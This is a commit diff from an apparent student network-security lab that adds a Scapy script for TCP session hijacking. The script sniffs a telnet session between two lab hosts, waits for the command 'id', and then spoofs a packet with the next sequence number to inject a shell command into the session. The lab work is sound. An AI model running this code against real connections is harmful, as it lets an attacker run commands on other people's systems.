tcp lab almost finished and mitnick lab initialized

Tcp/Labsetup/volumes/hijack_attack.py

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+#!/usr/bin/env python3
+from scapy.all import *
+
+def hijack(pkt):
+    if pkt[TCP].payload:
+        data = bytes(pkt[TCP].payload)
+        print("Packet from {} to {} with payload: {}".format(pkt[IP].src, pkt[IP].dst, data))
+        
+        # Look for 'id' which I sent in the telnet session
+        if b'id' in data:
+            print("Target command detected. Injecting...")
+            ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
+            tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
+                      seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
+            
+            payload = "\r touch /tmp/hijack_successful \r"
+            res = ip/tcp/payload
+            send(res, verbose=0)
+            print("Sent hijacked packet.")
+            exit(0)
+
+print("Sniffing...")
+sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=hijack)